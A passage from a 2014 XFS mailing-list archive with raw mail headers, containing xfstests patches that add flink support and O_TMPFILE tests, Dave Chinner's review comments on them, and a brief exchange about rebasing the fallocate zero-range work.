http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3837 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Now has proper feature support checking for xfs_io and the kernel, addressed Dave's various minor comments for the second test. I've left the repair output as-is for the move of the zero link count files to lost+found. While I plan to fix that it's something that is generic for all zero link count files and shouldn't cause the O_TMPFILE test to fail. From BATV+dc5a43fb99f412d365ed+3854+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 13 05:14:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 43D457F90 for ; Thu, 13 Mar 2014 05:14:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2C0038F8039 for ; Thu, 13 Mar 2014 03:14:35 -0700 (PDT) X-ASG-Debug-ID: 1394705673-04cb6c56764f9ca0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id WXoP5qr4eKwTBalz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 13 Mar 2014 03:14:33 -0700 (PDT) X-Barracuda-Envelope-From: BATV+dc5a43fb99f412d365ed+3854+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WO2en-000837-DK for xfs@oss.sgi.com; Thu, 13 Mar 2014 10:14:33 +0000 Message-Id: <20140313101433.318632549@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 13 Mar 2014 03:13:03 -0700 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 1/3] common: add flink support to _require_xfs_io_command References: <20140313101302.996355155@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 1/3] common: add flink support to _require_xfs_io_command Content-Disposition: inline; filename=0001-xfstests-add-flink-support-to-_require_xfs_io_comman.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394705673 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3836 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Signed-off-by: Christoph Hellwig --- common/rc | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/common/rc b/common/rc index 7f9db56..3bd4bcb 100644 --- a/common/rc +++ b/common/rc @@ -1318,6 +1318,10 @@ _require_xfs_io_command() testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ -c "fiemap -v" $testfile 2>&1` ;; + "flink" ) + testio=`$XFS_IO_PROG -T -F -c "flink $testfile" \ + $TEST_DIR 2>&1` + ;; *) testio=`$XFS_IO_PROG -c "$command help" 2>&1` esac -- 1.7.10.4 From lczerner@redhat.com Thu Mar 13 05:15:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 70C9C7FA0 for ; Thu, 13 Mar 2014 05:15:08 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 515818F8039 for ; Thu, 13 Mar 2014 03:15:08 -0700 (PDT) X-ASG-Debug-ID: 1394705707-04cb6c56774f9d10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id TuArwcGGnpY4hbCl for ; Thu, 13 Mar 2014 03:15:07 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2DAF2uR023063 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 13 Mar 2014 06:15:03 -0400 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2DAExIk010752 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 13 Mar 2014 06:15:01 -0400 Date: Thu, 13 Mar 2014 11:14:59 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6 v2] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate In-Reply-To: <20140313084936.GF4263@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/6 v2] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> <20140313084936.GF4263@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394705707 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 13 Mar 2014, Dave Chinner wrote: > Date: Thu, 13 Mar 2014 19:49:36 +1100 > From: Dave Chinner > To: Lukas Czerner > Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, > xfs@oss.sgi.com > Subject: Re: [PATCH 0/6 v2] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate > > On Tue, Feb 25, 2014 at 08:14:33PM +0100, Lukas Czerner wrote: > > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > > > It can be used to convert a range of file to zeros preferably without > > issuing data IO. Blocks should be preallocated for the regions that span > > holes in the file, and the entire range is preferable converted to > > unwritten extents - even though file system may choose to zero out the > > extent or do whatever which will result in reading zeros from the range > > while the range remains allocated for the file. > > > > This can be also used to preallocate blocks past EOF in the same way as > > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > > size to remain the same. > > > > You can test this feature yourself using xfstests, of fallocate(1) however > > you'll need patches for util_linux, xfsprogs and xfstests which are going to > > follow soon. > > > > I tested this mostly with a subset of xfstests using fsx and fsstress and > > even with new generic/290 which is just a copy of xfs/290 using fzero > > command for xfs_io instead of zero (which uses ioctl). I was testing on > > x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. > > > > ./check generic/076 generic/232 generic/013 generic/070 generic/269 generic/083 > > generic/117 generic/068 generic/231 generic/127 generic/091 generic/075 > > generic/112 generic/263 generic/091 generic/075 generic/256 generic/255 > > generic/316 generic/300 generic/290 ext4/242; > > > > Note that there is a work in progress on FALLOC_FL_COLLAPSE_RANGE which > > touches the same area as this pach set does, so we should figure out > > which one should go first and modify the other on top of it. > > > > This has been based on top of xfs-collapse-range so it does not contain ext4 > > collapse range changes. > > Lukas, I have merged patches 4 and 6 into the xfs-collapse-branch. > That branch should now remain stable, so you can rebase all the ext4 > collapse range and zero range bits on top of tha branch and Ted can > pull it into the ext4 tree if he wants to pull it in. > > Cheers, > > Dave. Hi Dave, that's great thanks! Btw you probably meant branch xfs-collapse-range and those patches are already based on that branch so it should apply cleanly. Now we have to figure out the order in which we're going to take zero-range and collapse-range into ext4. Thanks! -Lukas From david@fromorbit.com Thu Mar 13 05:21:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 440E47F87 for ; Thu, 13 Mar 2014 05:21:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D6642AC002 for ; Thu, 13 Mar 2014 03:21:12 -0700 (PDT) X-ASG-Debug-ID: 1394706070-04cbb054b6301a70001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id I8Ma2g8ycvzb2aYW for ; Thu, 13 Mar 2014 03:21:10 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmQGAJaFIVN5LJYe/2dsb2JhbABZgwaDRrlThU8JgRoXdIIlAQEBBDocIxAIAw4KCSUPBSUDIROHeNN2FxaORgeEOASYRIpXh1eDQSk Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Mar 2014 20:51:09 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WO2lA-0002Tf-3n; Thu, 13 Mar 2014 21:21:08 +1100 Date: Thu, 13 Mar 2014 21:21:08 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs_io: add support for flink Message-ID: <20140313102108.GG4263@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfs_io: add support for flink References: <20140220220000.GA17541@infradead.org> <20140221004933.GA9445@infradead.org> <20140225195218.GA14110@infradead.org> <20140225233556.GI13647@dastard> <20140313100933.GA25703@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140313100933.GA25703@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394706070 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3837 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Mar 13, 2014 at 03:09:33AM -0700, Christoph Hellwig wrote: > On Wed, Feb 26, 2014 at 10:35:57AM +1100, Dave Chinner wrote: > > Looks like some noise got into that hunk. Other than that: > > > > Reviewed-by: Dave Chinner > > > > I'll remove that extra line when I commit it. > > ping? Sorry, I missed them in the last round of commits. I'll sort it out. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 13 05:43:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1F2207F9D for ; Thu, 13 Mar 2014 05:43:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B22B2AC002 for ; Thu, 13 Mar 2014 03:43:03 -0700 (PDT) X-ASG-Debug-ID: 1394707381-04bdf05daa528cd0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id uAkO4qIxlVBFza95 for ; Thu, 13 Mar 2014 03:43:01 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqBCAHWLIVN5LJYePGdsb2JhbABZgwaDRoUMtEeFWIEZFwMBAQEBHxkNKIIlAQEBBDocIxAIAw4KCSUPBSUDBxoTh3jTdRcWjkYHhDgEmESKV4sYKQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Mar 2014 21:12:41 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WO360-0002Z2-Vn; Thu, 13 Mar 2014 21:42:41 +1100 Date: Thu, 13 Mar 2014 21:42:40 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs_io: add support for flink Message-ID: <20140313104240.GK6851@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfs_io: add support for flink References: <20140220220000.GA17541@infradead.org> <20140221004933.GA9445@infradead.org> <20140225195218.GA14110@infradead.org> <20140225233556.GI13647@dastard> <20140313100933.GA25703@infradead.org> <20140313102108.GG4263@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140313102108.GG4263@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394707381 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3837 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Mar 13, 2014 at 09:21:08PM +1100, Dave Chinner wrote: > On Thu, Mar 13, 2014 at 03:09:33AM -0700, Christoph Hellwig wrote: > > On Wed, Feb 26, 2014 at 10:35:57AM +1100, Dave Chinner wrote: > > > Looks like some noise got into that hunk. Other than that: > > > > > > Reviewed-by: Dave Chinner > > > > > > I'll remove that extra line when I commit it. > > > > ping? > > Sorry, I missed them in the last round of commits. I'll sort it out. OK, committed and pushed - aa210c4 should be the new head. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 13 06:10:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 539A47F9F for ; Thu, 13 Mar 2014 06:10:19 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3B0A3304053 for ; Thu, 13 Mar 2014 04:10:16 -0700 (PDT) X-ASG-Debug-ID: 1394709013-04bdf05dab52a690001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 7BqkCGJppKDg4uHI for ; Thu, 13 Mar 2014 04:10:14 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsdTAC2RIVN5LJYePGdsb2JhbABZgwaDRoUMtEmFWIEZFwMBAQEBHxkNKIIlAQEBBDocIxAIAw4KCSUPBSUDBxoTh3jTbhcWjkcHhDgEmESKV4sYKQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Mar 2014 21:40:13 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WO3Wc-0002g1-La; Thu, 13 Mar 2014 22:10:10 +1100 Date: Thu, 13 Mar 2014 22:10:10 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] common: add flink support to _require_xfs_io_command Message-ID: <20140313111010.GH4263@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] common: add flink support to _require_xfs_io_command References: <20140313101302.996355155@bombadil.infradead.org> <20140313101433.318632549@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140313101433.318632549@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394709013 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3838 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Mar 13, 2014 at 03:13:03AM -0700, Christoph Hellwig wrote: > Signed-off-by: Christoph Hellwig > --- > common/rc | 4 ++++ > 1 file changed, 4 insertions(+) > > diff --git a/common/rc b/common/rc > index 7f9db56..3bd4bcb 100644 > --- a/common/rc > +++ b/common/rc > @@ -1318,6 +1318,10 @@ _require_xfs_io_command() > testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ > -c "fiemap -v" $testfile 2>&1` > ;; > + "flink" ) > + testio=`$XFS_IO_PROG -T -F -c "flink $testfile" \ > + $TEST_DIR 2>&1` > + ;; > *) > testio=`$XFS_IO_PROG -c "$command help" 2>&1` > esac Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 13 06:16:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 126147F54 for ; Thu, 13 Mar 2014 06:16:35 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 92A56AC002 for ; Thu, 13 Mar 2014 04:16:34 -0700 (PDT) X-ASG-Debug-ID: 1394709392-04cbb054b7304b00001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id kyBchUHm9Js3Dy2r for ; Thu, 13 Mar 2014 04:16:32 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsdTAJKSIVN5LJYePGdsb2JhbABZgwaDRoUMtEmFWIEZFwMBAQEBHxkNKIIlAQEBBDocIxAIAw4KCSUPBSUDBxoTh3jTbxcWjkcHhDgEmESKV4sYKQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Mar 2014 21:46:31 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WO3ck-0002h6-IM; Thu, 13 Mar 2014 22:16:30 +1100 Date: Thu, 13 Mar 2014 22:16:30 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/3] generic: add a basic O_TMPFILE test Message-ID: <20140313111630.GI4263@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/3] generic: add a basic O_TMPFILE test References: <20140313101302.996355155@bombadil.infradead.org> <20140313101433.445012299@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140313101433.445012299@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394709392 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3838 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Thu, Mar 13, 2014 at 03:13:04AM -0700, Christoph Hellwig wrote: > Signed-off-by: Christoph Hellwig > --- > tests/generic/004 | 70 +++++++++++++++++++++++++++++++++++++++++++++++++ > tests/generic/004.out | 6 +++++ > tests/generic/group | 1 + > 3 files changed, 77 insertions(+) > create mode 100755 tests/generic/004 > create mode 100644 tests/generic/004.out > > diff --git a/tests/generic/004 b/tests/generic/004 > new file mode 100755 > index 0000000..c653530 > --- /dev/null > +++ b/tests/generic/004 > @@ -0,0 +1,70 @@ > +#! /bin/bash > +# FS QA Test No. 004 > +# > +# Test O_TMPFILE opens it also tests linking a tmpfile... > +testfile="${TEST_DIR}/tst-tmpfile-flink" > + > +# test creating a r/w tmpfile, do I/O and link it into the namespace > +$XFS_IO_PROG -T \ > + -c "pwrite 0 4096" \ > + -c "pread 0 4096" \ > + -c "flink ${testfile}" \ > + ${TEST_DIR} | _filter_xfs_io > + > +if [ ! -f "${testfile}" ]; then > + echo "failed to link testfile into place" > + exit 1 > +fi > + > +rm -f ${tmpfile} You could just replace the check for the $testfile existing and then the removal with: rm $testfile because if it doesn't exist that will thrown an ENOENT error like: rm: cannot remove "foo": No such file or directory And that will fail the test. There's also no reason to exit if there is an error, because the rest of the test does not depend on $testfile being removed. The golden output comparison will then cause the test to fail... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 13 06:29:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F13B07F84 for ; Thu, 13 Mar 2014 06:29:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D82668F808F for ; Thu, 13 Mar 2014 04:29:11 -0700 (PDT) X-ASG-Debug-ID: 1394710149-04cb6c56754fdaf0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id yx34eiLQrrlUzqPi for ; Thu, 13 Mar 2014 04:29:09 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Au5XABOWIVN5LJYePGdsb2JhbABZgwaDRoUMtEmBZYNzgRkXAwEBAQEfGQ0ogiUBAQEEOhwjEAgDDgoJJQ8FJQMHGhOGHYFb03IXFo5HB4Q4BI5PiXWKV4sYKYEs Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Mar 2014 21:59:08 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WO3ox-0002j1-PM; Thu, 13 Mar 2014 22:29:07 +1100 Date: Thu, 13 Mar 2014 22:29:07 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs: add a test for unlinked inodes due to O_TMPFILE Message-ID: <20140313112907.GJ4263@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs: add a test for unlinked inodes due to O_TMPFILE References: <20140313101302.996355155@bombadil.infradead.org> <20140313101433.608283621@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140313101433.608283621@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394710149 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3838 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Mar 13, 2014 at 03:13:05AM -0700, Christoph Hellwig wrote: > Make sure that we see unlinked inodes when shutting a filesystem > down that has an open O_TMPFILE descriptor, and make sure that it > has been deleted after a mount/umount cycle. > > Signed-off-by: Christoph Hellwig > --- > tests/xfs/006 | 89 +++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/xfs/006.out | 43 ++++++++++++++++++++++++++ > tests/xfs/group | 1 + > 3 files changed, 133 insertions(+) > create mode 100755 tests/xfs/006 > create mode 100644 tests/xfs/006.out > > diff --git a/tests/xfs/006 b/tests/xfs/006 > new file mode 100755 > index 0000000..7dae43d > --- /dev/null > +++ b/tests/xfs/006 > @@ -0,0 +1,89 @@ > +#! /bin/bash > +# XFS QA Test No. 006 > +# > +# Test O_TMPFILE interaction with log recovery and repair. > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2014 Christoph Hellwig. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -f $tmp.* > + rm -f ${testfile} No need to remove the testfile on a scratch device here. ... > +testfile="${SCRATCH_MNT}/tst-tmpfile-flink" isn't used. > + > +_scratch_mount > + > +# > +# Test creating a r/w tmpfile, make sure it goes out to disk while still > +# open using a freeze/thaw, and then shut down the filesystem. > +# > +$XFS_IO_PROG -x -T \ > + -c "pwrite 0 4096" \ > + -c "pread 0 4096" \ > + -c "freeze" \ > + -c "thaw" \ > + -c "shutdown" \ > + ${SCRATCH_MNT} | _filter_xfs_io So that's an inode on the unlinked list with a link count of zero. > +_scratch_unmount > + > +# repair should find an unlinked inode now > 